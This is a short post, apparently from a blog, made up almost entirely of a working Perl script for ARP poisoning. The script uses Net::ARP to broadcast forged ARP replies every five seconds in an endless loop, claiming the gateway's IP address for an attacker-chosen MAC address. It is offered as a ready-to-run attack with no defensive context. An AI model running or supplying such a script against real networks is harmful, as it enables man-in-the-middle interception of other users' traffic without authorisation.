ARP Poisioning Uses Perl

#!usr/bin/perl
use Net::ARP;
use strict;
use warnings;
for (;;){
    Net::ARP::send_packet(
                   'eth0',                       # Device
                   '192.168.12.1',               # SourceIP (mygateway)
                   '192.168.12.255',             # Destination IP
                   '00:1E:EC:9F:DB:67',          # Source MAC
                   'FF:FF:FF:FF:FF:FF',          # Destinaton MAC
                   'reply'                       # ARP operation
    );
    print "packet sent\n";
    sleep(5);
}
廣告